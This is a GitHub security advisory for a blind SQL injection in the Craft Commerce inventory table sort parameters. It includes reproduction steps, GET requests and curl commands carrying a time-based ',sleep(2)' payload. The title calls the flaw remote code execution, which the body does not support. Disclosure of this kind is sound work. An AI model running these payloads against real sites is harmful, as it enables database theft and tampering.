CVE-2026-29174: Craftcms/commerce Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pmgj-gmm4-jh6j",
  "modified" : "2026-03-10T22:54:57Z",
  "published" : "2026-03-10T18:23:25Z",
  "aliases" : [ "CVE-2026-29174" ],
  "summary" : "Craft Commerce is vulnerable to SQL Injection in Commerce Inventory Table Sorting",
  "details" : "## Summary\n\nCraft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.\n\n---\n## PoC\n### Required Permissions\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n- Craft Commerce\n\t- Manage inventory stock levels \n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce** > **Inventory**\n3. Click on any sortable column header (e.g., \"SKU\") to trigger a sort request\n4. Intercept the request and modify `sort[0][direction]` or `sort[0][sortField]` parameters and append `,sleep(2)` payload to it's current value as follows:\n\n```bash\n# sort[0][sortField]=sku,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels\n# sort[0][direction]=asc,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels\n```\n\n6. Observe the delay in the response, confirming the injection\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):\n```bash\n# sort[0][sortField]=sku,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n# sort[0][direction]=asc,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n```\n\n### Impact\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character using time-based techniques.\n- **Modify or destroy data** (drop tables, update records, alter schema).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/commerce"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.5.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-29174"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/094d69df24b925544f337c38e2ec1effcd5395c7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/commerce/commit/a2ea853935ef03297ea1298bdb0d8c55ec5daf7b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/commerce"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T18:23:25Z",
    "nvd_published_at" : "2026-03-10T20:16:38Z"
  }
}